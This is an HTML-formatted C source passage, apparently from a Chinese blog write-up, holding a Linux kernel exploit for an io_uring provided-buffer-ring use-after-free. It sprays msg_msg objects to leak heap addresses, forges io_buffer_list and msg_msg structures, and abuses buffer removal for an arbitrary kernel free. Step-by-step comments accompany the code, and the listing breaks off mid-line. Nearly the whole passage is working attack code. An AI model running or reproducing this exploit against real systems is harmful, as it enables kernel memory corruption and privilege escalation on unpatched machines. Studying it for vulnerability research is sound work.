class="line"><span class="comment">/*------------------------助手定义-----------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*------------------------io_uring相关定义-----------------------------*/</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">io_uring_setup</span><span class="params">(<span class="type">unsigned</span> entries, <span class="keyword">struct</span> io_uring_params* p)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">int</span>)syscall(__NR_io_uring_setup, entries, p);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">io_uring_register</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span> fd, <span class="type">unsigned</span> <span class="type">int</span> opcode,</span></span><br><span class="line"><span class="params">    <span class="type">void</span>* arg, <span class="type">unsigned</span> <span class="type">int</span> nr_args)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">int</span>)syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">io_uring_enter</span><span class="params">(<span class="type">int</span> ring_fd, <span class="type">unsigned</span> <span class="type">int</span> to_submit, <span class="type">unsigned</span> <span class="type">int</span> min_complete, <span class="type">unsigned</span> <span class="type">int</span> flags)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">int</span>)syscall(__NR_io_uring_enter, ring_fd, to_submit, min_complete, flags, <span class="literal">NULL</span>, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IORING_REGISTER_PBUF_RING (22)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IORING_UNREGISTER_PBUF_RING (23)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IORING_OP_PROVIDE_BUFFERS (31)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//注册一个缓冲区, mapped ring使用</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> &#123;</span></span><br><span class="line">    __u64 ring_addr;</span><br><span class="line">    __u32 ring_entries;</span><br><span class="line">    __u16 bgid;</span><br><span class="line">    __u16 pad;</span><br><span class="line">    __u64 resv[<span class="number">3</span>];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//新内核中sqe的定义</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">new_io_uring_sqe</span> &#123;</span></span><br><span class="line">    __u8 opcode; <span class="comment">/* type of operation for this sqe */</span></span><br><span class="line">    __u8 flags; <span class="comment">/* IOSQE_ flags */</span></span><br><span class="line">    __u16 ioprio; <span class="comment">/* ioprio for the request */</span></span><br><span class="line">    __s32 fd; <span class="comment">/* file descriptor to do IO on */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        __u64 off; <span class="comment">/* offset into file */</span></span><br><span class="line">        __u64 addr2;</span><br><span class="line">        __u32 cmd_op;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        __u64 addr; <span class="comment">/* pointer to buffer or iovecs */</span></span><br><span class="line">        __u64 splice_off_in;</span><br><span class="line">    &#125;;</span><br><span class="line">    __u32 len; <span class="comment">/* buffer size or number of iovecs */</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="type">__kernel_rwf_t</span> rw_flags;</span><br><span class="line">        __u32 fsync_flags;</span><br><span class="line">        __u16 poll_events; <span class="comment">/* compatibility */</span></span><br><span class="line">        __u32 poll32_events; <span class="comment">/* word-reversed for BE */</span></span><br><span class="line">        __u32 sync_range_flags;</span><br><span class="line">        __u32 msg_flags;</span><br><span class="line">        __u32 timeout_flags;</span><br><span class="line">        __u32 accept_flags;</span><br><span class="line">        __u32 cancel_flags;</span><br><span class="line">        __u32 open_flags;</span><br><span class="line">        __u32 statx_flags;</span><br><span class="line">        __u32 fadvise_advice;</span><br><span class="line">        __u32 splice_flags;</span><br><span class="line">        __u32 rename_flags;</span><br><span class="line">        __u32 unlink_flags;</span><br><span class="line">        __u32 hardlink_flags;</span><br><span class="line">        __u32 xattr_flags;</span><br><span class="line">        __u32 close_flags;</span><br><span class="line">    &#125;;</span><br><span class="line">    __u64 user_data;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        __u16 buf_index;</span><br><span class="line">        __u16 buf_group;</span><br><span class="line">    &#125; __attribute__((packed));</span><br><span class="line">    __u16 personality;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        __s32 splice_fd_in;</span><br><span class="line">        __u32 file_index;</span><br><span class="line">    &#125;;</span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">            __u64 addr3;</span><br><span class="line">            __u64 __pad2[<span class="number">1</span>];</span><br><span class="line">        &#125;;</span><br><span class="line">        __u8 cmd[<span class="number">0</span>];</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//这个对象只在内核中定义, 问了方便伪造对象我将其复制到这里</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">io_buffer_list</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">union</span> &#123;</span></span><br><span class="line">        <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">            <span class="type">void</span>* buf_pages;</span><br><span class="line">            <span class="type">void</span>* buf_ring;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;;</span><br><span class="line">    __u16 bgid; <span class="comment">// buffer group ID</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//下面这些字段是io_register_pbuf_ring()使用的</span></span><br><span class="line">    __u16 buf_nr_pages; <span class="comment">// bu_pagesf中有多少页</span></span><br><span class="line">    __u16 nr_entries; <span class="comment">//包含多少项</span></span><br><span class="line">    __u32 head;</span><br><span class="line">    __u32 mask;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">//内存屏障宏</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> io_uring_smp_store_release(p, v)                   \</span></span><br><span class="line"><span class="meta">    atomic_store_explicit((_Atomic typeof(*(p))*)(p), (v), \</span></span><br><span class="line"><span class="meta">        memory_order_release)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> io_uring_smp_load_acquire(p)                 \</span></span><br><span class="line"><span class="meta">    atomic_load_explicit((_Atomic typeof(*(p))*)(p), \</span></span><br><span class="line"><span class="meta">        memory_order_acquire)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*------------------------io_uring相关定义-----------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">clean_slab_4K</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> msgid[<span class="number">0x10</span>];</span><br><span class="line">    <span class="type">int</span> ret;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; i++) &#123;</span><br><span class="line">        msgid[i] = msgget((<span class="type">key_t</span>)<span class="number">1000</span> + i, <span class="number">0666</span> | IPC_CREAT | IPC_EXCL);</span><br><span class="line">        LOG(msgid[i]);</span><br><span class="line">        <span class="class"><span class="keyword">struct</span> <span class="title">msgbuf</span>* <span class="title">msg</span> =</span> <span class="built_in">malloc</span>(PAGE_SIZE * <span class="number">2</span> + <span class="number">0x30</span>);</span><br><span class="line"></span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;msgsnd&quot;</span>);</span><br><span class="line">        msg-&gt;mtype = <span class="number">0x1</span>;</span><br><span class="line">        <span class="built_in">memset</span>(msg-&gt;mtext, <span class="string">&#x27;\x00&#x27;</span>, PAGE_SIZE * <span class="number">2</span>);</span><br><span class="line">        ret = msgsnd(msgid[i], msg, PAGE_SIZE * <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">char</span>* res = <span class="built_in">malloc</span>(PAGE_SIZE * <span class="number">2</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; i++) &#123;</span><br><span class="line">        ret = msgrcv(msgid[i], res, PAGE_SIZE * <span class="number">2</span>, <span class="number">0x1</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*------------------------初始化函数-----------------------------*/</span></span><br><span class="line"><span class="type">int</span> uring_fd;</span><br><span class="line"><span class="type">int</span> msgid[<span class="number">0x10</span>];</span><br><span class="line"><span class="type">char</span>* buffer; <span class="comment">//公共使用的缓冲区</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> BUFFER_LEN (PAGE_SIZE * 8) <span class="comment">//公共缓冲区长度</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PBUF_BASE ((void*)0x1000) <span class="comment">//缓冲区的IORING_OP_PROVIDE_BUFFERS提供的缓冲区地址</span></span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">new_io_uring_sqe</span>* <span class="title">sqes</span>;</span> <span class="comment">//提交项数组</span></span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> *sring_tail, *sring_mask, *sring_array, *cring_head;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">init</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    setbuf(<span class="built_in">stdout</span>, <span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_params</span> <span class="title">p</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;p, <span class="number">0</span>, <span class="keyword">sizeof</span>(p));</span><br><span class="line">    uring_fd = io_uring_setup(<span class="number">0x1</span>, &amp;p); <span class="comment">//只设置一项</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// SQ映射长度=io_urings中sq_array的偏移+sq_array的项数*index长度</span></span><br><span class="line">    <span class="type">int</span> sring_sz = p.sq_off.<span class="built_in">array</span> + p.sq_entries * <span class="keyword">sizeof</span>(<span class="type">unsigned</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// CQ映射长度=io_urings中cqes的偏移+cqes的项数*完成项的长度</span></span><br><span class="line">    <span class="type">int</span> cring_sz = p.cq_off.cqes + p.cq_entries * <span class="keyword">sizeof</span>(<span class="keyword">struct</span> io_uring_cqe);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 提交队列项的长度</span></span><br><span class="line">    <span class="type">int</span> sqes_sz = p.sq_entries * <span class="keyword">sizeof</span>(<span class="keyword">struct</span> new_io_uring_sqe);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//映射提交队列相关字段</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* sq_ptr = mmap(<span class="literal">NULL</span>, sring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);</span><br><span class="line">    LOG(sq_ptr);</span><br><span class="line"></span><br><span class="line">    sring_tail = (<span class="type">unsigned</span> <span class="type">int</span>*)(sq_ptr + p.sq_off.tail); <span class="comment">//指向io_urings.sq.tail</span></span><br><span class="line">    sring_mask = (<span class="type">unsigned</span> <span class="type">int</span>*)(sq_ptr + p.sq_off.ring_mask); <span class="comment">//指向io_urings.sq_ring_mask</span></span><br><span class="line">    sring_array = (<span class="type">unsigned</span> <span class="type">int</span>*)(sq_ptr + p.sq_off.<span class="built_in">array</span>); <span class="comment">//指向io_urings中, cqes后面的sq_array</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 映射sqes</span></span><br><span class="line">    sqes = mmap(<span class="literal">NULL</span>, sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES);</span><br><span class="line">    LOG(sqes);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//映射完成队列</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span>* cq_ptr = mmap(<span class="literal">NULL</span>, cring_sz, PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING);</span><br><span class="line">    LOG(cq_ptr);</span><br><span class="line"></span><br><span class="line">    cring_head = (<span class="type">unsigned</span> <span class="type">int</span>*)(cq_ptr + p.cq_off.head); <span class="comment">//完成队列头</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 创建许多消息队列备用</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x10</span>; i++) &#123;</span><br><span class="line">        msgid[i] = msgget((<span class="type">key_t</span>)<span class="number">1234</span> + i, <span class="number">0666</span> | IPC_CREAT | IPC_EXCL);</span><br><span class="line">        <span class="comment">// LOG(msgid[i]);</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//分配公用的缓冲区</span></span><br><span class="line">    buffer = Mmap(<span class="number">0</span>, BUFFER_LEN);</span><br><span class="line">    <span class="keyword">if</span> (buffer == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        perror(<span class="string">&quot;malloc buffer&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/*------------------------初始化函数-----------------------------*/</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span>* <span class="title function_">worker</span><span class="params">(<span class="type">void</span>* res)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">/*</span></span><br><span class="line"><span class="comment">        从msgid[0]中读入一个msg_msg,</span></span><br><span class="line"><span class="comment">        但是由于后一个io_buffer.list.prev会被当做msg_msg-&gt;next, 导致load_msg()无限循环</span></span><br><span class="line"><span class="comment">        因此需要单独开一个线程阻塞在内核态, 但实际上数据是已经写入到res中的</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">    msgrcv(msgid[<span class="number">0</span>], res, PAGE_SIZE, <span class="comment">/* msg_type= */</span> (<span class="type">long</span>)PBUF_BASE, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;shouldn&#x27;t get here&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">trigger_UAF</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> ret;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//准备一个无效的mapped ring请求</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> <span class="title">reg</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;reg, <span class="number">0</span>, <span class="keyword">sizeof</span>(reg));</span><br><span class="line">    reg.ring_addr = <span class="number">0xF00000000</span>; <span class="comment">// invaild userspace address, 令io_pin_pages()失败</span></span><br><span class="line">    reg.ring_entries = <span class="number">0x20000000</span>; <span class="comment">// power of 2</span></span><br><span class="line">    reg.bgid = <span class="number">0x0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ctx-&gt;io_bl = kcalloc(BGID_ARRAY, sizeof(struct io_buffer_list), GFP_KERNEL);</span></span><br><span class="line">    <span class="comment">// kfree(ctx-&gt;io_bl);</span></span><br><span class="line">    ret = io_uring_register(uring_fd, IORING_REGISTER_PBUF_RING, &amp;reg, <span class="number">1</span>);</span><br><span class="line">    LOG(ret);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">submit_provide_buffer</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    io_uring_smp_store_release(&amp;sring_array[<span class="number">0</span>], <span class="number">0</span>); <span class="comment">//写入sq_array</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//更新sqes的tail</span></span><br><span class="line">    <span class="type">int</span> tail = *sring_tail;</span><br><span class="line">    tail++;</span><br><span class="line">    io_uring_smp_store_release(sring_tail, tail);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//提交1个请求, 要求完成这一个后再返回</span></span><br><span class="line">    <span class="type">int</span> ret = io_uring_enter(uring_fd, <span class="number">1</span>, <span class="number">1</span>, IORING_ENTER_GETEVENTS);</span><br><span class="line">    LOG(ret);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//回收cqe</span></span><br><span class="line">    <span class="type">int</span> head = io_uring_smp_load_acquire(cring_head);</span><br><span class="line">    head++;</span><br><span class="line">    io_uring_smp_store_release(cring_head, head);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在msgid[idx]中分配num个大小为size的msg_msg对象</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">alloc_msg</span><span class="params">(<span class="type">int</span> idx, <span class="type">int</span> size, <span class="type">int</span> num)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">msgbuf</span>* <span class="title">msg</span> =</span> (<span class="keyword">struct</span> msgbuf*)buffer;</span><br><span class="line">    <span class="type">int</span> msg_len = size - <span class="number">0x30</span>;</span><br><span class="line">    LOG(msg_len);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memset</span>(msg-&gt;mtext, <span class="number">0xCC</span>, msg_len);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0x0</span>; i &lt; num; i++) &#123;</span><br><span class="line">        msg-&gt;mtype = i + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">if</span> (msgsnd(msgid[idx], msg, msg_len, <span class="number">0</span>) != <span class="number">0</span>)</span><br><span class="line">            perror(<span class="string">&quot;msgsnd&quot;</span>);</span><br><span class="line">        LOG(i);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> ret;</span><br><span class="line">    init();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 1. 令ctx-&gt;io_bl指向0x800的UAF对象</span></span><br><span class="line">    trigger_UAF();</span><br><span class="line"></span><br><span class="line">    <span class="comment">/*  2. 将ctx-&gt;io_bl指向的0x800的对象作为msg_msg对象, 称为msg0 */</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">msgbuf</span>* <span class="title">msg</span> =</span> (<span class="keyword">struct</span> msgbuf*)buffer;</span><br><span class="line">    <span class="comment">// 要分配的大小 - sizeof(struct msg_msg), 0x420会从kmalloc-2k中分配.</span></span><br><span class="line">    <span class="comment">// 不分配0x800是为了partial overwrite, 保留可用的io_bufer_list</span></span><br><span class="line">    <span class="type">int</span> msg_len = <span class="number">0x420</span> - <span class="number">0x30</span>;</span><br><span class="line">    msg-&gt;mtype = <span class="number">0x0001</span>; <span class="comment">// mtype 为long, 低2B对应io_buffer_list的bgid, 高2B对应buf_nr_pages</span></span><br><span class="line">    <span class="built_in">memset</span>(msg-&gt;mtext, <span class="string">&#x27;\x00&#x27;</span>, msg_len);</span><br><span class="line">    msgsnd(msgid[<span class="number">0</span>], msg, msg_len, <span class="number">0</span>); <span class="comment">//发送消息</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/* 3. 将io_buffer链接到ctx-&gt;io_bl[0], 伪造一个msg_msg对象, 称为msg1 */</span></span><br><span class="line">    <span class="comment">// 使用io_provide_buffers()在链表ctx-&gt;io_bl[0].buf_list上添加一个io_buffer对象</span></span><br><span class="line">    <span class="comment">// 但是对于msg_msg来说, 添加的io_buffer对象会被当作是msg_msg对象, 从而把0xFD0作为消息正文长度, 泄露io_buffer</span></span><br><span class="line">    <span class="type">void</span>* pbuf = Mmap(PBUF_BASE, PAGE_SIZE); <span class="comment">//上交的缓冲区</span></span><br><span class="line">    LOG(pbuf);</span><br><span class="line">    sqes[<span class="number">0</span>].opcode = IORING_OP_PROVIDE_BUFFERS;</span><br><span class="line">    sqes[<span class="number">0</span>].rw_flags = <span class="number">0</span>;</span><br><span class="line">    sqes[<span class="number">0</span>].splice_fd_in = <span class="number">0</span>;</span><br><span class="line">    sqes[<span class="number">0</span>].fd = <span class="number">1</span>; <span class="comment">// nbufs</span></span><br><span class="line">    sqes[<span class="number">0</span>].addr = (uLL)pbuf; <span class="comment">// io_buffer::addr对应msg_msg::m_type, 因此要控制在long的范围内</span></span><br><span class="line">    sqes[<span class="number">0</span>].len = <span class="number">0xFD0</span>; <span class="comment">// io_buffer::len对应msg_msg::m_ts, 因此io_buffer后续的内容会被当作是消息正文, 等于DATALEN_MSG</span></span><br><span class="line">    sqes[<span class="number">0</span>].buf_group = <span class="number">0</span>; <span class="comment">//链接到ctx-&gt;io_bl[buf_group], 这里0对应msg_msg的头部, 可以伪造msg_msg</span></span><br><span class="line">    submit_provide_buffer();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 4. 从ctx-&gt;io_buffer_cache中分配两对象, 获取指向ctx-&gt;io_bl[33]的指针, 从而找到kmalloc-2k的地址</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">0x2</span>; i++) &#123;</span><br><span class="line">        sqes[<span class="number">0</span>].addr = (uLL)<span class="built_in">malloc</span>(<span class="number">0x100</span>);</span><br><span class="line">        sqes[<span class="number">0</span>].len = <span class="number">0x100</span>;</span><br><span class="line">        sqes[<span class="number">0</span>].buf_group = <span class="number">33</span>; <span class="comment">// 注意msg_msg覆盖时0x420后面的都是可用的io_buffer_list, 因此链接到这里0x420/0x20=33</span></span><br><span class="line">        submit_provide_buffer();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 5. 创建一个线程读出msg1到buffer中, 从而实现越界读, worker之后会卡死, 只能让其卡死, 因为msg1是伪造的, 不能被kfree掉</span></span><br><span class="line">    uLL* tag = (uLL*)(buffer + <span class="number">0xF00</span>); <span class="comment">//在尾部打上标记,  因为开头8B是mtype, 读出0xF00的消息会写入0xF08</span></span><br><span class="line">    *tag = <span class="number">0xdeadbeef</span>;</span><br><span class="line">    <span class="type">pthread_t</span> th;</span><br><span class="line">    pthread_create(&amp;th, <span class="literal">NULL</span>, worker, buffer);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 6. 获取ctx-&gt;io_bl, 也是msg0的地址</span></span><br><span class="line">    <span class="keyword">while</span> (*tag == <span class="number">0xdeadbeef</span>) <span class="comment">// load_msg()执行完毕会覆盖*tag, 这里进行等待</span></span><br><span class="line">        ;</span><br><span class="line">    <span class="comment">// Hexdump(buffer, 0x200);</span></span><br><span class="line">    uLL io_bl = *((uLL*)(buffer + <span class="number">0x18</span>)) - <span class="number">0x420</span>; <span class="comment">//减去0x420时因为指向的时&amp;ctx-&gt;io_bl[33]</span></span><br><span class="line">    LOG(io_bl);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 7. 在ctx-&gt;io_bl(也是msg0)后面申请一个msg2, 并申请io_ring_ctx对象, 在没有开启slub随机化的情况下, 三者是相邻的</span></span><br><span class="line">    msg_len = <span class="number">0x800</span> - <span class="number">0x30</span>;</span><br><span class="line">    <span class="built_in">memset</span>(msg-&gt;mtext, <span class="number">0x00</span>, msg_len);</span><br><span class="line">    msgsnd(msgid[<span class="number">2</span>], msg, msg_len, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> spray_uring_fd;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_params</span> <span class="title">p</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;p, <span class="number">0</span>, <span class="keyword">sizeof</span>(p));</span><br><span class="line">    spray_uring_fd = io_uring_setup(<span class="number">0x1</span>, &amp;p); <span class="comment">//只设置一项</span></span><br><span class="line">    LOG(spray_uring_fd);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 8. 重新覆盖掉ctx-&gt;io_bl, 伪造io_buffer_list对象</span></span><br><span class="line">    ret = msgrcv(msgid[<span class="number">0</span>], buffer, PAGE_SIZE, <span class="comment">/* msg_type= */</span> (<span class="type">long</span>)<span class="number">0x0001</span>, <span class="number">0</span>); <span class="comment">//首先读出msg0</span></span><br><span class="line">    LOG(ret);</span><br><span class="line">    msg_len = <span class="number">0x800</span> - <span class="number">0x30</span>; <span class="comment">// 0x800-sizeof(struct msg_msg), 可以伪造io_buffer_list了, 不用partial overwrite</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//将具体msg_msg开头的偏移x 转换为 从msg_msg-&gt;mtext开始的索引</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IDX(x) (((x)-0x30) / 8)</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">//在msg_msg.mtext中伪造io_buffer_list对象</span></span><br><span class="line">    uLL* tmp = (uLL*)msg-&gt;mtext; <span class="comment">// tmp = ctx-&gt;io_bl+0x30, 也等于msg_msg+0x30</span></span><br><span class="line">    tmp[IDX(<span class="number">0x40</span>)] = io_bl + <span class="number">0x60</span>; <span class="comment">// fake_bl.buf_pages</span></span><br><span class="line">    tmp[IDX(<span class="number">0x48</span>)] = io_bl; <span class="comment">// fake_bl.buf_ring, 指向一个可读地址即可</span></span><br><span class="line">    tmp[IDX(<span class="number">0x50</span>)] = <span class="number">0x10000</span>; <span class="comment">// fake_bl.buf_nr_pages = 1</span></span><br><span class="line">    tmp[IDX(<span class="number">0x60</span>)] = io_bl + <span class="number">0x68</span>; <span class="comment">// &lt;= io_bl + 0x60, 这里的值会被当做buf_pages[0]</span></span><br><span class="line">    tmp[IDX(<span class="number">0x68</span>)] = <span class="number">0xdeadbeef</span>; <span class="comment">//这里被当做page对象</span></span><br><span class="line"></span><br><span class="line">    tmp[IDX(<span class="number">0x80</span>)] = io_bl + <span class="number">0xa0</span>; <span class="comment">// fake_bl.buf_pages</span></span><br><span class="line">    tmp[IDX(<span class="number">0x88</span>)] = io_bl; <span class="comment">// fake_bl.buf_ring, 指向一个可读地址即可</span></span><br><span class="line">    tmp[IDX(<span class="number">0x90</span>)] = <span class="number">0x10000</span>; <span class="comment">// fake_bl.buf_nr_pages = 1</span></span><br><span class="line">    tmp[IDX(<span class="number">0xa0</span>)] = io_bl + <span class="number">0x1000</span>; <span class="comment">// &lt;= io_bl + 0x60, 这里的值会被当做buf_pages[0]</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// msgid[0]实际只有一个msg, 但是取出了两次, 导致msq-&gt;q_qnum=-1, 因此不能再使用, 换成msgid[1], 反正都是一样的覆盖</span></span><br><span class="line">    ret = msgsnd(msgid[<span class="number">1</span>], msg, msg_len, <span class="number">0</span>); <span class="comment">//然后再次发送消息</span></span><br><span class="line">    LOG(ret);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 9. 利用__io_remove_buffers()进行任意地址kvfree(), [msg_msg+0x60, msg_msg+0x860)会被放入freelist</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> <span class="title">reg</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;reg, <span class="number">0</span>, <span class="keyword">sizeof</span>(reg));</span><br><span class="line">    reg.bgid = <span class="number">0x2</span>; <span class="comment">// msg_msg中对应fake_bl</span></span><br><span class="line">    ret = io_uring_register(uring_fd, IORING_UNREGISTER_PBUF_RING, &amp;reg, <span class="number">1</span>);</span><br><span class="line">    LOG(ret);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 10. 发送msg3, 申请到[msg_msg+0x60, msg_msg+0x860), 从而控制msg2</span></span><br><span class="line">    msg_len = <span class="number">0x800</span> - <span class="number">0x30</span>;</span><br><span class="line">    tmp = (uLL*)msg-&gt;mtext;</span><br><span class="line">    <span class="comment">// msg3+0x800-0x60处就是msg2的头部</span></span><br><span class="line">    tmp[IDX(<span class="number">0x420</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x420</span>; <span class="comment">//自旋指针,msg1-&gt;next指向这里, worker继续卡死, 不然kfree(msg1)会导致crash</span></span><br><span class="line">    tmp[IDX(<span class="number">0x800</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x830</span>; <span class="comment">// msg3.m_list.prev</span></span><br><span class="line">    tmp[IDX(<span class="number">0x808</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x830</span>; <span class="comment">// msg3.m_list.next</span></span><br><span class="line">    tmp[IDX(<span class="number">0x810</span> - <span class="number">0x60</span>)] = <span class="number">0x00001</span>; <span class="comment">// msg3.m_type</span></span><br><span class="line">    tmp[IDX(<span class="number">0x818</span> - <span class="number">0x60</span>)] = <span class="number">0xFD0</span>; <span class="comment">// msg3.m_ts</span></span><br><span class="line">    tmp[IDX(<span class="number">0x820</span> - <span class="number">0x60</span>)] = <span class="number">0</span>; <span class="comment">// msg3.next</span></span><br><span class="line">    tmp[IDX(<span class="number">0x828</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x840</span>; <span class="comment">// msg3.security, 指向可读区域就好</span></span><br><span class="line"></span><br><span class="line">    tmp[IDX(<span class="number">0x830</span> - <span class="number">0x60</span>)] = io_bl + <span class="number">0x800</span>; <span class="comment">// &lt;=io_bl + 0x830, 伪造循环链表节点</span></span><br><span class="line">    tmp[IDX(<span class="number">0x838</span> - <span class="number">0x60</span>)] = io_bl + <span 